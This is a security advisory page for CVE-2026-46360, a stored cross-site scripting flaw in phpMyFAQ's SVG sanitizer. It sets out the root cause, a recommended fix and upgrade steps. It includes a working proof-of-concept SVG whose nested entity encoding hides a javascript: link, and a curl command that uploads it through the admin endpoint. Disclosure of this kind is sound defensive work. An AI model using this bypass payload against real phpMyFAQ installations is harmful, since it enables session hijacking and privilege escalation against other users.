CVE-2026-46360: phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS

Published May 6, 2026
·
Updated

Summary

The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.

Details

Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls htmlentitydecode() which resolves one level of & → &. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.

Code path:

1. Authenticated user with FAQEDIT permission uploads SVG via POST /admin/api/content/images (ImageController::upload() at line 39) 2. File extension is svg → SvgSanitizer::isSafe() called (line 114) 3. isSafe() calls decodeAllEntities() — 5 iterations resolve & nesting but leave ja... (numeric entities for javascript) 4. Pattern matching at line 47 (/href\s=\s["\'][\s]javascript\s:/i) does not match ja... 5. isSafe() returns true — file saved without any sanitization 6. SVG served directly by web server from content/user/images/ with image/svg+xml MIME type 7. Browser's XML parser decodes j → j, a → a, etc., reconstructing javascript:alert(document.domain) 8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin

The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.

Relevant code in decodeAllEntities():

php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 5; // <-- insufficient for 5 levels of &amp; + numeric entity

while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; // Step 1: Decode decimal entities (&#106; → j) $decoded = pregreplacecallback('/&#(\d+);/', ...); // Step 2: Decode hex entities (&#x6A; → j) $decoded = pregreplacecallback('/&#x([0-9a-fA-F]+);/', ...); // Step 3: Decode named HTML entities (&amp; → &) $decoded = htmlentitydecode($decoded, ENTQUOTES | ENTHTML5, 'UTF-8'); } // After 5 iterations with 5 &amp; levels: &#106; remains undecoded return pregreplace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded); }

PoC

Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of &amp; nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.

Step 1: Create malicious SVG file (xss.svg):

xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200"> <a href="&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)"> <circle cx="100" cy="100" r="80" fill="red"/> <text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text> </a> </svg>

Step 2: Upload via admin image upload endpoint:

bash curl -b 'sessioncookie' \ -F "files[]=@xss.svg" \ "https://TARGET/admin/api/content/images?csrf=VALIDTOKEN"

Expected response: {"success": true, ...} with the uploaded file URL.

Step 3: Access the uploaded SVG directly:

https://TARGET/content/user/images/1712345678xss.svg

The browser renders the SVG as image/svg+xml. The XML parser decodes &#106; → j, &#97; → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.

Impact

- Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin. - Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins. - Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control. - Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.

The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.

Recommended Fix

The root cause is that decodeAllEntities() can be exhausted by deeply nested &amp; encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:

php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities() private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 10; // Increase from 5 to handle deeper nesting

while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; $decoded = pregreplacecallback( '/&#(\d+);/', static fn(array $matches): string => mbchr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = pregreplacecallback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mbchr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, ); $decoded = htmlentitydecode($decoded, ENTQUOTES | ENTHTML5, encoding: 'UTF-8'); }

// Safety net: if the loop exited due to iteration limit, do a final // numeric/hex entity decode pass to catch any remaining &#NNN; entities $decoded = pregreplacecallback( '/&#(\d+);/', static fn(array $matches): string => mbchr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = pregreplacecallback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mbchr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, );

return pregreplace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded); }

Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.

Other sources

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in SvgSanitizer::decodeAllEntities() that limits recursive entity decoding to 5 iterations, allowing attackers to bypass sanitization. Authenticated users with FAQEDIT permission can upload malicious SVG files with deeply nested ampersand encoding around numeric HTML entities to reconstruct javascript: URLs, which execute arbitrary JavaScript when clicked by other users viewing the uploaded SVG.

— MITRE

phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS

— Packagist

Affected Software

5 affected componentsFixes available
PhpMyFaq phpmyfaq<4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
4.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  2. Upgrade

    Upgrade composer/phpmyfaq/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  3. Upgrade

    Upgrade phpMyFAQ to a version that resolves this vulnerability.

    Fixed in 4.1.2
  4. Compensating control

    Serve uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering.

Event History

May 6, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·08:18 PM
DescriptionSeverityAffected Software
May 15, 2026
CVE Published
via MITRE·06:36 PM
Data Sourced
via MITRE·06:36 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-46360?

CVE-2026-46360 is classified as a high severity stored cross-site scripting vulnerability.

2

How do I fix CVE-2026-46360?

To fix CVE-2026-46360, upgrade phpMyFAQ to version 4.1.2 or later.

3

What causes the vulnerability in CVE-2026-46360?

CVE-2026-46360 is caused by a limitation in the recursive entity decoding in the SvgSanitizer component.

4

Who is affected by CVE-2026-46360?

Users of phpMyFAQ versions prior to 4.1.2 are affected by CVE-2026-46360.

5

Can CVE-2026-46360 lead to sensitive data exposure?

Yes, CVE-2026-46360 can potentially lead to sensitive data exposure through stored XSS exploits.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203